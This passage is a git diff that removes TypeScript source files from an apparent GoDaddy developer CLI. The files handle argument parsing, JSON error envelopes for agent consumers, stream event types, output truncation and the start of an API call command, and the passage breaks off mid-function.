"godaddy application enable --store-id ", - description: "Enable application on a store", - }, - { - id: "application.disable", - command: "godaddy application disable --store-id ", - description: "Disable application on a store", - }, - { - id: "application.archive", - command: "godaddy application archive ", - description: "Archive application", - }, - { - id: "application.init", - command: "godaddy application init", - description: "Initialize/create a new application", - }, - { - id: "application.add.group", - command: "godaddy application add", - description: "Add configurations to application", - }, - { - id: "application.release", - command: - "godaddy application release --release-version ", - description: "Create a new release", - }, - { - id: "application.deploy", - command: "godaddy application deploy [--follow]", - usage: "godaddy application deploy [--follow]", - description: "Deploy application", - }, - ], - }, - ], -}; - -// --------------------------------------------------------------------------- -// Global option pre-processing -// -// @effect/cli doesn't support -vv style stacking, so we normalize argv -// before handing it to the framework. -// --------------------------------------------------------------------------- - -function isShortVerboseCluster(token: string): boolean { - return /^-v{2,}$/.test(token); -} - -function normalizeVerbosityArgs(argv: readonly string[]): string[] { - const retained: string[] = []; - let verbosity = 0; - for (const token of argv) { - if (token === "--debug") { - verbosity = Math.max(verbosity, 2); - continue; - } - if (token === "--info" || token === "--verbose") { - verbosity += 1; - continue; - } - if (token === "-v") { - verbosity += 1; - continue; - } - if (isShortVerboseCluster(token)) { - verbosity += token.length - 1; - continue; - } - retained.push(token); - } - const norm = Math.min(verbosity, 2); - if (norm >= 2) return ["--debug", ...retained]; - if (norm === 1) return ["--verbose", ...retained]; - return retained; -} - -const API_SUBCOMMANDS = new Set(["list", "describe", "search", "call"]); -const ROOT_FLAG_WITH_VALUE = new Set([ - "--env", - "-e", - "--log-level", - "--completions", -]); -const ROOT_BOOLEAN_FLAGS = new Set([ - "--pretty", - "--verbose", - "-v", - "--info", - "--debug", - "--help", - "-h", - "--version", - "--wizard", -]); - -function rewriteLegacyApiEndpointArgs(argv: readonly string[]): string[] { - const rewritten = [...argv]; - let index = 0; - - while (index < rewritten.length) { - const token = rewritten[index]; - - if (ROOT_FLAG_WITH_VALUE.has(token)) { - index += 2; - continue; - } - - if (ROOT_BOOLEAN_FLAGS.has(token)) { - index += 1; - continue; - } - - if (token.startsWith("-")) { - index += 1; - continue; - } - - if (token !== "api") { - return rewritten; - } - - const maybeSubcommandOrEndpoint = rewritten[index + 1]; - if ( - !maybeSubcommandOrEndpoint || - maybeSubcommandOrEndpoint.startsWith("-") || - API_SUBCOMMANDS.has(maybeSubcommandOrEndpoint) - ) { - return rewritten; - } - - rewritten.splice(index + 1, 0, "call"); - return rewritten; - } - - return rewritten; -} - -// --------------------------------------------------------------------------- -// Root command -// --------------------------------------------------------------------------- - -const rootCommand = Command.make( - "godaddy", - { - pretty: Options.boolean("pretty").pipe( - Options.withDescription( - "Pretty-print JSON envelopes with 2-space indentation", - ), - ), - verbose: Options.boolean("verbose").pipe( - Options.withAlias("v"), - Options.withDescription( - "Enable basic verbose output for HTTP requests and responses", - ), - ), - info: Options.boolean("info").pipe( - Options.withDescription("Enable basic verbose output (same as -v)"), - ), - debug: Options.boolean("debug").pipe( - Options.withDescription("Enable full verbose output (same as -vv)"), - ), - env: Options.text("env").pipe( - Options.withAlias("e"), - Options.withDescription( - "Set the target environment for commands (ote, prod)", - ), - Options.optional, - ), - }, - (_config) => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - // Reconstruct the command string from raw argv for traceability - const rawArgs = process.argv.slice(2); - const commandStr = - rawArgs.length > 0 ? `godaddy ${rawArgs.join(" ")}` : "godaddy"; - - const environment = yield* envGetEffect().pipe( - Effect.map((env) => ({ active: env })), - Effect.catchAll((error) => Effect.succeed({ error: error.message })), - ); - - const authSnapshot = yield* authStatusEffect().pipe( - Effect.map( - (status) => - ({ - authenticated: status.authenticated, - has_token: status.hasToken, - token_expiry: status.tokenExpiry?.toISOString(), - environment: status.environment, - }) as Record, - ), - Effect.catchAll((error) => - Effect.succeed({ error: error.message } as Record), - ), - ); - - yield* writer.emitSuccess( - commandStr, - { - description: COMMAND_TREE.description, - version: packageJson.version, - environment, - authentication: authSnapshot, - command_tree: COMMAND_TREE, - }, - rootNextActions, - ); - }), -).pipe( - Command.withDescription(ROOT_DESCRIPTION), - Command.withSubcommands([ - envCommand, - authCommand, - apiCommand, - actionsCommand, - webhookCommand, - applicationCommand, - ]), -); - -// --------------------------------------------------------------------------- -// Build the runner -// --------------------------------------------------------------------------- - -const cliRunner = Command.run(rootCommand, { - name: "godaddy", - version: packageJson.version, -}); - -// --------------------------------------------------------------------------- -// Main -// --------------------------------------------------------------------------- - -export function runCli(rawArgv: ReadonlyArray): Promise { - // Normalize -vv, --info, --debug before the framework sees them - const normalized = normalizeVerbosityArgs(rawArgv); - - // Pre-parse global flags to build layers BEFORE Command.run, then strip - // them so @effect/cli doesn't reject them as unknown subcommand options. - let prettyPrint = false; - let verbosity = 0; - let envOverride: Environment | null = null; - - const stripIndices = new Set(); - for (let i = 0; i < normalized.length; i++) { - const token = normalized[i]; - if (token === "--pretty") { - prettyPrint = true; - stripIndices.add(i); - } - if (token === "--verbose" || token === "-v") - verbosity = Math.max(verbosity, 1); - if (token === "--debug") verbosity = 2; - if (token === "--info") verbosity = Math.max(verbosity, 1); - if ((token === "--env" || token === "-e") && i + 1 < normalized.length) { - envOverride = validateEnvironment(normalized[i + 1]); - stripIndices.add(i); - stripIndices.add(i + 1); - i++; // skip value - } - } - - const frameworkArgs = normalized.filter((_, i) => !stripIndices.has(i)); - const rewrittenFrameworkArgs = rewriteLegacyApiEndpointArgs(frameworkArgs); - - // Detect unsupported --output option before handing to framework - const outputIdx = normalized.indexOf("--output"); - if (outputIdx !== -1) { - const outputValue = normalized[outputIdx + 1] ?? "unknown"; - const commandStr = - `godaddy ${rawArgv.join(" ").replace(/\s+/g, " ")}`.trim(); - const envelope = { - ok: false, - command: commandStr, - error: { - message: `Unsupported option: --output ${outputValue}. All output is JSON by default.`, - code: "UNSUPPORTED_OPTION", - }, - fix: "Remove --output; all godaddy CLI output is JSON envelopes by default.", - next_actions: rootNextActions, - }; - process.stdout.write( - `${prettyPrint ? JSON.stringify(envelope, null, 2) : JSON.stringify(envelope)}\n`, - ); - process.exitCode = 1; - return Promise.resolve(); - } - - // Side-effects for compatibility with existing core/ code that reads globals - if (verbosity > 0) { - setVerbosityLevel(verbosity); - if (verbosity === 1) process.stderr.write("(verbose output enabled)\n"); - else process.stderr.write("(verbose output enabled: full details)\n"); - } - const cliConfigLayer = makeCliConfigLayer({ - prettyPrint, - verbosity, - environmentOverride: envOverride, - }); - - const envelopeWriterLayer = EnvelopeWriterLive; - - // Full layer: platform (FileSystem, Path, Terminal) + custom services + CLI services - const fullLayer = Layer.mergeAll( - NodeContext.layer, - NodeLiveLayer, - cliConfigLayer, - ).pipe( - // EnvelopeWriter depends on CliConfig, so provide after merging - (base) => - Layer.merge(base, Layer.provide(envelopeWriterLayer, cliConfigLayer)), - ); - - const program = cliRunner( - // Command.run expects the full process.argv (node + script + args) - // We pass a synthetic prefix so the framework strips the first two. - // Use frameworkArgs (global flags already stripped) so @effect/cli - // doesn't reject them as unknown options on subcommands. - ["node", "godaddy", ...rewrittenFrameworkArgs], - ).pipe( - // Centralized error boundary: catch ALL errors, emit JSON envelope - Effect.catchAll((error) => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - - // Check if it's an @effect/cli ValidationError (not a custom CliError) - const CLI_VALIDATION_TAGS = new Set([ - "CommandMismatch", - "CorrectedFlag", - "HelpRequested", - "InvalidArgument", - "InvalidValue", - "MissingFlag", - "MissingValue", - "MissingSubcommand", - "MultipleValuesDetected", - "NoBuiltInMatch", - "UnclusteredFlag", - ]); - const errorTag = - typeof error === "object" && - error !== null && - "_tag" in error && - typeof (error as { _tag: unknown })._tag === "string" - ? (error as { _tag: string })._tag - : undefined; - const isCliValidation = - errorTag !== undefined && CLI_VALIDATION_TAGS.has(errorTag); - - let details: { - message: string; - code: string; - fix: string; - details?: Record; - }; - - if (isCliValidation) { - // biome-ignore lint/suspicious/noExplicitAny: @effect/cli ValidationError is a union - details = mapValidationError(error as any); - } else { - details = mapRuntimeError(error); - } - - const cmdStr = `godaddy ${normalized.join(" ")}`.trim(); - - // If this is a streaming command (--follow), emit stream error - const isStreaming = normalized.includes("--follow"); - if (isStreaming) { - yield* writer.emitStreamError( - cmdStr, - { - message: details.message, - code: details.code, - details: details.details, - }, - details.fix, - rootNextActions, - ); - } else { - yield* writer.emitError( - cmdStr, - { - message: details.message, - code: details.code, - details: details.details, - }, - details.fix, - rootNextActions, - ); - } - }), - ), - Effect.provide(fullLayer), - ); - - return Effect.runPromise(program); -} - -// --------------------------------------------------------------------------- -// Script entry point -// --------------------------------------------------------------------------- - -const args = process.argv.slice(2); -runCli(args).catch((error) => { - // Last-resort catch for truly unexpected failures - process.stderr.write(`Fatal: ${error}\n`); - process.exitCode = 1; -}); diff --git a/src/cli/agent/errors.ts b/src/cli/agent/errors.ts deleted file mode 100644 index 0359956..0000000 --- a/src/cli/agent/errors.ts +++ /dev/null @@ -1,299 +0,0 @@ -import { - type ApiErrorContext, - type CliError, - type ServerError, - type ServerErrorKind, - type ValidationError, - errorCode, -} from "@/effect/errors"; -import * as HelpDoc from "@effect/cli/HelpDoc"; -import type { ValidationError as EffectValidationError } from "@effect/cli/ValidationError"; - -export interface AgentErrorDetails { - message: string; - code: string; - fix: string; - details?: Record; -} - -const ANSI_ESCAPE_PATTERN = new RegExp( - `${String.fromCharCode(27)}\\[[0-9;]*m`, - "g", -); - -function stripAnsi(value: string): string { - return value.replace(ANSI_ESCAPE_PATTERN, ""); -} - -function formatValidationMessage(error: EffectValidationError): string { - if ("error" in error && error.error) { - const text = stripAnsi(HelpDoc.toAnsiText(error.error)).trim(); - if (text.length > 0) { - return text; - } - } - - return "Invalid command input"; -} - -function apiDetails(error: CliError): Record | undefined { - const context = error as Partial; - - const details: Record = {}; - if (typeof context.status === "number") { - details.status = context.status; - } - if (typeof context.statusText === "string" && context.statusText.length > 0) { - details.status_text = context.statusText; - } - if (typeof context.endpoint === "string" && context.endpoint.length > 0) { - details.endpoint = context.endpoint; - } - if (typeof context.method === "string" && context.method.length > 0) { - details.method = context.method; - } - if (typeof context.requestId === "string" && context.requestId.length > 0) { - details.request_id = context.requestId; - } - if (context.responseBody !== undefined) { - details.response = context.responseBody; - } - - return Object.keys(details).length > 0 ? details : undefined; -} - -function hasGraphqlErrors( - details: Record | undefined, -): boolean { - const response = details?.response; - if (typeof response !== "object" || response === null) { - return false; - } - - const errors = (response as Record).errors; - return Array.isArray(errors) && errors.length > 0; -} - -function fixForNetworkError( - details: Record | undefined, -): string { - if (hasGraphqlErrors(details)) { - return "Check GraphQL query, variables, and operationName. Inspect error.details.response.errors for resolver/validation details."; - } - - const status = details?.status; - if (typeof status === "number") { - if (status >= 400 && status < 500) { - return "Check request path/query/body. Inspect error.details.response for API validation feedback."; - } - if (status >= 500) { - return "The API is currently failing server-side. Retry, or check service health/incidents."; - } - } - - return "Verify environment connectivity with: godaddy env get and retry."; -} - -/** Envelope `fix` string per `ServerErrorKind`. */ -const SERVER_FIX: Record = { - VALIDATION: - "Review the per-field issues in error.details.fields (and error.details.response for the raw server payload) and retry with valid values.", - FORBIDDEN: - "Your account or token lacks permission for this operation. Contact your org admin, or switch environments with: godaddy env use .", - NOT_FOUND: - "Use 'godaddy application list' to find the correct name/id, or create the resource first.", - CONFLICT: - "Resolve the conflicting state shown in error.details.response (see errors[].extensions.fields for the specific field/value) and retry.", - RATE_LIMITED: - "Rate limit exceeded. Retry later; inspect error.details.response for any retry-after hint from the server.", -}; - -function fromTaggedError(error: CliError): AgentErrorDetails { - const code = errorCode(error); - const message = error.userMessage || error.message; - const details = apiDetails(error); - - switch (error._tag) { - case "ValidationError": { - // Client-side (arktype) validation failure — no request was sent. - const fields = (error as ValidationError).fields; - const hasFields = Array.isArray(fields) && fields.length > 0; - return { - message, - code, - fix: hasFields - ? "Review the per-field issues in error.details.fields and retry with valid values." - : "Review command arguments and try again with valid values.", - details: hasFields ? { fields } : undefined, - }; - } - case "AuthenticationError": - // Envelope emits `AUTH_REQUIRED` (not `errorCode()`'s `AUTH_ERROR`) - // for historical compatibility with existing agent consumers. - // Aligning the two values is tracked as a follow-up. - return { - message, - code: "AUTH_REQUIRED", - fix: "Run: godaddy auth login", - details, - }; - case "ServerError": { - const server = error as ServerError; - const hasFields = - Array.isArray(server.fields) && server.fields.length > 0; - const mergedDetails = - hasFields && server.kind === "VALIDATION" - ? { ...(details ?? {}), fields: server.fields } - : details; - return { - message, - code, - fix: SERVER_FIX[server.kind], - details: mergedDetails, - }; - } - case "ConfigurationError": - return { - message, - code, - fix: "Check your config with: godaddy env info [environment]", - }; - case "NetworkError": - return { - message, - code, - fix: fixForNetworkError(details), - details, - }; - case "SecurityError": - return { - message, - code, - fix: "Resolve security findings and rerun: godaddy application deploy ", - }; - } -} - -function inferFromMessage(message: string): AgentErrorDetails { - const lower = message.toLowerCase(); - - if (lower.includes("--output")) { - return { - message, - code: "UNSUPPORTED_OPTION", - fix: "Remove --output; all commands now emit JSON envelopes.", - }; - } - - if (lower.includes("security") || lower.includes("blocked")) { - return { - message, - code: "SECURITY_BLOCKED", - fix: "Resolve security findings and rerun: godaddy application deploy ", - }; - } - - if (lower.includes("not found") || lower.includes("does not exist")) { - return { - message, - code: "NOT_FOUND", - fix: "Use discovery commands such as: godaddy application list or godaddy actions list.", - }; - } - - if (lower.includes("auth") || lower.includes("token")) { - return { - message, - code: "AUTH_REQUIRED", - fix: "Run: godaddy auth login", - }; - } - - return { - message, - code: "UNEXPECTED_ERROR", - fix: "Run: godaddy for command discovery and retry with corrected input.", - }; -} - -function isTaggedError(error: unknown): error is CliError { - return ( - typeof error === "object" && - error !== null && - "_tag" in error && - typeof (error as { _tag: unknown })._tag === "string" && - [ - "ValidationError", - "NetworkError", - "AuthenticationError", - "ServerError", - "ConfigurationError", - "SecurityError", - ].includes((error as { _tag: string })._tag) - ); -} - -export function mapRuntimeError(error: unknown): AgentErrorDetails { - if (isTaggedError(error)) { - return fromTaggedError(error); - } - - if (error instanceof Error) { - return inferFromMessage(error.message); - } - - return { - message: "Unknown error", - code: "UNEXPECTED_ERROR", - fix: "Run: godaddy for command discovery.", - }; -} - -export function mapValidationError( - error: EffectValidationError, -): AgentErrorDetails { - const message = formatValidationMessage(error); - - if (message.includes("--output")) { - return { - message, - code: "UNSUPPORTED_OPTION", - fix: "Remove --output; all commands now emit JSON envelopes.", - }; - } - - switch (error._tag) { - case "CommandMismatch": - return { - message, - code: "COMMAND_NOT_FOUND", - fix: "Run: godaddy", - }; - case "MissingFlag": - case "MissingValue": - case "InvalidArgument": - case "InvalidValue": - case "MultipleValuesDetected": - case "NoBuiltInMatch": - case "UnclusteredFlag": - case "MissingSubcommand": - case "CorrectedFlag": - return { - message, - code: "VALIDATION_ERROR", - fix: "Provide valid arguments/options shown in --help and retry.", - }; - case "HelpRequested": - return { - message, - code: "VALIDATION_ERROR", - fix: "Use --help for command usage details.", - }; - default: - return { - message, - code: "VALIDATION_ERROR", - fix: "Check command usage with --help and retry.", - }; - } -} diff --git a/src/cli/agent/stream.ts b/src/cli/agent/stream.ts deleted file mode 100644 index 8f661c9..0000000 --- a/src/cli/agent/stream.ts +++ /dev/null @@ -1,59 +0,0 @@ -/** - * Stream event types for NDJSON streaming output. - * - * Emitted through the EnvelopeWriter service. - */ -import type { NextAction } from "./types"; - -export interface StreamStartEvent { - type: "start"; - command: string; - ts: string; -} - -export interface StreamStepEvent { - type: "step"; - name: string; - status: "started" | "completed" | "failed"; - message?: string; - extension_name?: string; - details?: Record; - ts: string; -} - -export interface StreamProgressEvent { - type: "progress"; - name: string; - percent?: number; - message?: string; - details?: Record; - ts: string; -} - -export interface StreamResultEvent { - type: "result"; - ok: true; - command: string; - result: T; - next_actions: NextAction[]; -} - -export interface StreamErrorEvent { - type: "error"; - ok: false; - command: string; - error: { - message: string; - code: string; - details?: Record; - }; - fix: string; - next_actions: NextAction[]; -} - -export type StreamEvent = - | StreamStartEvent - | StreamStepEvent - | StreamProgressEvent - | StreamResultEvent - | StreamErrorEvent; diff --git a/src/cli/agent/truncation.ts b/src/cli/agent/truncation.ts deleted file mode 100644 index d690d92..0000000 --- a/src/cli/agent/truncation.ts +++ /dev/null @@ -1,147 +0,0 @@ -/** - * Context-safe truncation for agent output. - * - * Identical semantics to the original truncation module but with NO mutable - * globals. Full-output dumps use node:fs directly — the truncation path is - * a best-effort side-channel that doesn't need to go through Effect layers. - */ - -import * as fs from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; - -const MAX_LIST_ITEMS = 50; -const MAX_STRING_LENGTH = 1000; -const MAX_SERIALIZED_BYTES = 16 * 1024; - -export interface TruncationMetadata { - truncated: boolean; - total: number; - shown: number; - full_output?: string; -} - -export interface ListTruncationResult { - items: T[]; - metadata: TruncationMetadata; -} - -export interface PayloadTruncationResult { - value: T; - metadata?: TruncationMetadata; -} - -function estimateBytes(value: unknown): number { - return Buffer.byteLength(JSON.stringify(value), "utf8"); -} - -function slugify(commandId: string): string { - return commandId.replace(/[^a-zA-Z0-9-_.]+/g, "-"); -} - -export function writeFullOutput(commandId: string, payload: unknown): string { - const dir = join(tmpdir(), "godaddy-cli"); - fs.mkdirSync(dir, { recursive: true, mode: 0o700 }); - try { - fs.chmodSync(dir, 0o700); - } catch { - // Best-effort on platforms that don't honor POSIX modes. - } - const filename = `${Date.now()}-${slugify(commandId)}.json`; - const fullPath = join(dir, filename); - fs.writeFileSync(fullPath, JSON.stringify(payload, null, 2), { - encoding: "utf8", - mode: 0o600, - }); - try { - fs.chmodSync(fullPath, 0o600); - } catch { - // Best-effort on platforms that don't honor POSIX modes. - } - return fullPath; -} - -function truncateStrings(value: unknown): unknown { - if (typeof value === "string") { - if (value.length <= MAX_STRING_LENGTH) { - return value; - } - return `${value.slice(0, MAX_STRING_LENGTH)}...(truncated)`; - } - - if (Array.isArray(value)) { - return value.map((item) => truncateStrings(item)); - } - - if (value && typeof value === "object") { - const result: Record = {}; - for (const [key, nested] of Object.entries(value)) { - result[key] = truncateStrings(nested); - } - return result; - } - - return value; -} - -export function truncateList( - items: T[], - commandId: string, -): ListTruncationResult { - const total = items.length; - const shown = Math.min(total, MAX_LIST_ITEMS); - const truncated = total > MAX_LIST_ITEMS; - const sliced = truncated ? items.slice(0, MAX_LIST_ITEMS) : items; - - if (!truncated) { - return { - items: sliced, - metadata: { truncated: false, total, shown }, - }; - } - - const fullOutput = writeFullOutput(commandId, items); - return { - items: sliced, - metadata: { truncated: true, total, shown, full_output: fullOutput }, - }; -} - -export function protectPayload( - value: T, - commandId: string, -): PayloadTruncationResult { - const totalBytes = estimateBytes(value); - let candidate = truncateStrings(value) as T; - let shownBytes = estimateBytes(candidate); - let truncated = totalBytes !== shownBytes; - let fullOutput: string | undefined; - - if (shownBytes > MAX_SERIALIZED_BYTES) { - truncated = true; - const limited = { - truncated: true, - summary: - typeof value === "object" && value !== null - ? "Output too large for inline payload" - : String(value), - }; - candidate = limited as T; - shownBytes = estimateBytes(candidate); - } - - if (truncated) { - fullOutput = writeFullOutput(commandId, value); - return { - value: candidate, - metadata: { - truncated: true, - total: totalBytes, - shown: shownBytes, - full_output: fullOutput, - }, - }; - } - - return { value: candidate }; -} diff --git a/src/cli/agent/types.ts b/src/cli/agent/types.ts deleted file mode 100644 index 89cacbf..0000000 --- a/src/cli/agent/types.ts +++ /dev/null @@ -1,38 +0,0 @@ -export type NextActionParamValue = string | number | boolean; - -export interface NextActionParam { - description?: string; - value?: NextActionParamValue; - default?: NextActionParamValue; - enum?: Array; - required?: boolean; -} - -export interface NextAction { - command: string; - description: string; - params?: Record; -} - -export interface AgentSuccessEnvelope { - ok: true; - command: string; - result: T; - next_actions: NextAction[]; -} - -export interface AgentErrorEnvelope { - ok: false; - command: string; - error: { - message: string; - code: string; - details?: Record; - }; - fix: string; - next_actions: NextAction[]; -} - -export type AgentEnvelope = - | AgentSuccessEnvelope - | AgentErrorEnvelope; diff --git a/src/cli/commands/actions.ts b/src/cli/commands/actions.ts deleted file mode 100644 index 1f360df..0000000 --- a/src/cli/commands/actions.ts +++ /dev/null @@ -1,179 +0,0 @@ -import * as Args from "@effect/cli/Args"; -import * as Command from "@effect/cli/Command"; -import * as Effect from "effect/Effect"; -import { ValidationError } from "../../effect/errors"; -import { protectPayload, truncateList } from "../agent/truncation"; -import type { NextAction } from "../agent/types"; -import { - AVAILABLE_ACTIONS, - loadActionInterface, -} from "../schemas/actions/index"; -import { EnvelopeWriter } from "../services/envelope-writer"; - -// --------------------------------------------------------------------------- -// Colocated next_actions -// --------------------------------------------------------------------------- - -const actionsGroupActions: NextAction[] = [ - { command: "godaddy actions list", description: "List all actions" }, - { - command: "godaddy actions describe ", - description: "Describe an action contract", - params: { action: { description: "Action name", required: true } }, - }, -]; - -function actionsListActions(firstAction?: string): NextAction[] { - return [ - { - command: "godaddy actions describe ", - description: "Describe an action contract", - params: { - action: { - description: "Action name", - value: firstAction ?? "location.address.verify", - required: true, - }, - }, - }, - { - command: "godaddy application add action --name --url ", - description: "Add action configuration", - params: { name: { required: true }, url: { required: true } }, - }, - ]; -} - -function actionsDescribeActions(actionName?: string): NextAction[] { - return [ - { command: "godaddy actions list", description: "List all actions" }, - { - command: "godaddy application add action --name --url ", - description: "Add action configuration", - params: { - name: { - description: "Action name", - value: actionName ?? "", - required: true, - }, - url: { required: true }, - }, - }, - ]; -} - -// --------------------------------------------------------------------------- -// Subcommands -// --------------------------------------------------------------------------- - -const actionsList = Command.make("list", {}, () => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - const truncated = truncateList( - AVAILABLE_ACTIONS.map((name) => ({ name })), - "actions-list", - ); - - yield* writer.emitSuccess( - "godaddy actions list", - { - actions: truncated.items, - total: truncated.metadata.total, - shown: truncated.metadata.shown, - truncated: truncated.metadata.truncated, - full_output: truncated.metadata.full_output, - }, - actionsListActions(AVAILABLE_ACTIONS[0]), - ); - }), -).pipe( - Command.withDescription( - "List all available actions that an application developer can hook into", - ), -); - -const actionsDescribe = Command.make( - "describe", - { - action: Args.text({ name: "action" }).pipe( - Args.withDescription("Action name to describe"), - ), - }, - ({ action }) => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - const iface = loadActionInterface(action); - - if (!iface) { - return yield* Effect.fail( - new ValidationError({ - message: `Action '${action}' not found`, - userMessage: `Action '${action}' does not exist. Run: godaddy actions list`, - }), - ); - } - - const payload = protectPayload( - { - name: iface.name, - description: iface.description, - request_schema: iface.requestSchema, - response_schema: iface.responseSchema, - }, - `actions-describe-${action}`, - ); - - yield* writer.emitSuccess( - "godaddy actions describe", - { - ...payload.value, - truncated: payload.metadata?.truncated ?? false, - total: payload.metadata?.total, - shown: payload.metadata?.shown, - full_output: payload.metadata?.full_output, - }, - actionsDescribeActions(action), - ); - }), -).pipe( - Command.withDescription( - "Show detailed interface information for a specific action", - ), -); - -// --------------------------------------------------------------------------- -// Parent command -// --------------------------------------------------------------------------- - -const actionsParent = Command.make("actions", {}, () => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - yield* writer.emitSuccess( - "godaddy actions", - { - command: "godaddy actions", - description: "Manage application actions", - commands: [ - { - command: "godaddy actions list", - description: - "List all available actions that an application developer can hook into", - usage: "godaddy actions list", - }, - { - command: "godaddy actions describe ", - description: - "Show detailed interface information for a specific action", - usage: "godaddy actions describe ", - }, - ], - }, - actionsGroupActions, - ); - }), -).pipe( - Command.withDescription("Manage application actions"), - Command.withSubcommands([actionsList, actionsDescribe]), -); - -export const actionsCommand = actionsParent; diff --git a/src/cli/commands/api.ts b/src/cli/commands/api.ts deleted file mode 100644 index 62e1541..0000000 --- a/src/cli/commands/api.ts +++ /dev/null @@ -1,1300 +0,0 @@ -import * as Args from "@effect/cli/Args"; -import * as Command from "@effect/cli/Command"; -import * as Options from "@effect/cli/Options"; -import * as Effect from "effect/Effect"; -import * as Option from "effect/Option"; -import { - type HttpMethod, - apiRequestEffect, - parseFieldsEffect, - parseHeadersEffect, - readBodyFromFileEffect, - sanitizeResponseHeaders, -} from "../../core/api"; -import { authLoginEffect, getTokenInfoEffect } from "../../core/auth"; -import { AuthenticationError, ValidationError } from "../../effect/errors"; -import { truncateList, writeFullOutput } from "../agent/truncation"; -import type { NextAction } from "../agent/types"; -import { - type CatalogDomain, - type CatalogEndpoint, - findEndpointByAnyMethodEffect, - findEndpointByPathEffect, - listDomainsEffect, - loadDomainEffect, - searchEndpointsEffect, -} from "../schemas/api/index"; -import { CliConfig } from "../services/cli-config"; -import { EnvelopeWriter } from "../services/envelope-writer"; - -const VALID_METHODS: readonly HttpMethod[] = [ - "GET", - "POST", - "PUT", - "PATCH", - "DELETE", -]; - -const MAX_GRAPHQL_OPERATION_PREVIEW = 20; - -// --------------------------------------------------------------------------- -// next_actions helpers -// --------------------------------------------------------------------------- - -const apiGroupActions: NextAction[] = [ - { - command: "godaddy api list", - description: "List all API domains and endpoints", - }, - { - command: "godaddy api describe ", - description: "Describe an API endpoint's schema and parameters", - params: { - endpoint: { - description: "API path (e.g. /location/addresses)", - required: true, - }, - }, - }, - { - command: "godaddy api search ", - description: "Search API endpoints by keyword", - params: { - query: { description: "Search term", required: true }, - }, - }, - { - command: "godaddy api call ", - description: "Make an authenticated API request", - params: { - endpoint: { - description: - "Relative API endpoint path (e.g. /v1/commerce/location/addresses)", - required: true, - }, - }, - }, -]; - -function describeNextActions( - domain: CatalogDomain, - endpoint: CatalogEndpoint, -): NextAction[] { - // Build a call template with strongly-typed params instead of embedding - // schema-sourced values directly into an executable command string. - const fullPath = `${domain.baseUrl}${endpoint.path}`.replace( - /^https:\/\/api\.godaddy\.com/, - "", - ); - const callParams: NonNullable = { - endpoint: { - description: "Relative API endpoint path", - value: fullPath, - required: true, - }, - method: { - description: "HTTP method", - value: endpoint.method, - }, - }; - if (endpoint.scopes.length > 0) { - callParams.scope = { - description: "Required OAuth scope", - value: endpoint.scopes[0], - }; - } - - const actions: NextAction[] = [ - { - command: "godaddy api call ", - description: `Execute ${endpoint.method} ${endpoint.path}`, - params: callParams, - }, - { - command: "godaddy api list", - description: "List all API domains and endpoints", - }, - ]; - - // Suggest other endpoints in the same domain - const otherEndpoints = domain.endpoints.filter( - (e) => e.operationId !== endpoint.operationId, - ); - if (otherEndpoints.length > 0) { - const next = otherEndpoints[0]; - actions.push({ - command: "godaddy api describe ", - description: `Describe ${next.summary}`, - params: { - endpoint: { - description: "API path", - value: next.path, - required: true, - }, - }, - }); - } - - return actions; -} - -function listNextActions(firstDomain?: string): NextAction[] { - return [ - { - command: "godaddy api list --domain ", - description: "List endpoints for a specific API domain", - params: { - domain: { - description: "Domain name", - value: firstDomain, - required: true, - }, - }, - }, - { - command: "godaddy api search ", - description: "Search for API endpoints by keyword", - params: { - query: { description: "Search term", required: true }, - }, - }, - ]; -} - -function searchNextActions(firstPath?: string): NextAction[] { - const actions: NextAction[] = []; - if (firstPath) { - actions.push({ - command: "godaddy api describe ", - description: "Describe this endpoint", - params: { - endpoint: { - description: "API path", - value: firstPath, - required: true, - }, - }, - }); - } - actions.push({ - command: "godaddy api list", - description: "List all API domains", - }); - return actions; -} - -function callNextActions(): NextAction[] { - return [ - { - command: "godaddy api call ", - description: "Call another API endpoint", - params: { - endpoint: { - description: "Relative API endpoint path (e.g. /v1/domains)", - required: true, - }, - }, - }, - { command: "godaddy auth status", description: "Check auth status" }, - { - command: "godaddy api list", - description: "Browse available API endpoints", - }, - ]; -} - -// --------------------------------------------------------------------------- -// extractPath — public for unit testing -// --------------------------------------------------------------------------- - -/** - * Extract a value from an object using a simple JSON path. - * Supports: .key, .key.nested, .key[0], .key[0].nested - */ -export function extractPath(obj: unknown, path: string): unknown { - if (!path || path === ".") { - return obj; - } - - const normalizedPath = path.startsWith(".") ? path.slice(1) : path; - if (!normalizedPath) { - return obj; - } - - const segments: Array = []; - const regex = /([\w-]+)|\[(\d+)\]/g; - for (const match of normalizedPath.matchAll(regex)) { - const key = match[1]; - const index = match[2]; - if (key !== undefined) { - segments.push(key); - } else if (index !== undefined) { - segments.push(Number.parseInt(index, 10)); - } - } - - let current: unknown = obj; - for (const segment of segments) { - if (current === null || current === undefined) { - return undefined; - } - - if (typeof segment === "number") { - if (!Array.isArray(current)) { - throw new Error(`Cannot index non-array with [${segment}]`); - } - current = current[segment]; - continue; - } - - if (typeof current !== "object") { - throw new Error(`Cannot access property "${segment}" on non-object`); - } - - current = (current as Record)[segment]; - } - - return current; -} - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -function normalizeStringArray(value: ReadonlyArray): string[] { - return value.filter((entry): entry is string => typeof entry === "string"); -} - -/** Decode a JWT payload without verification (we only need the claims). */ -function decodeJwtPayload(token: string): Record | null { - try { - const parts = token.split("."); - if (parts.length !== 3) return null; - const payload = Buffer.from(parts[1], "base64url").toString("utf-8"); - return JSON.parse(payload) as Record; - } catch { - return null; - } -} - -/** Check whether a JWT already contains every scope in `required`. */ -function tokenHasScopes(token: string, required: string[]): boolean { - if (required.length === 0) return true; - const claims = decodeJwtPayload(token); - if (!claims || typeof claims.scope !== "string") return false; - const granted = new Set(claims.scope.split(/\s+/)); - return required.every((s) => granted.has(s)); -} - -function isHttpMethod(value: string): value is HttpMethod { - return VALID_METHODS.includes(value as HttpMethod); -} - -const ABSOLUTE_HTTP_URL_PATTERN = /^https?:\/\//i; -const TRUSTED_API_HOSTS = new Set(["api.godaddy.com", "api.ote-godaddy.com"]); - -interface ParsedEndpointInput { - callEndpoint: string; - catalogPathCandidates: string[]; - absoluteUrl: URL | null; - isTrustedAbsolute: boolean; - invalidAbsoluteUrl: boolean; -} - -function parseAbsoluteHttpUrl(value: string): URL | null { - try { - const 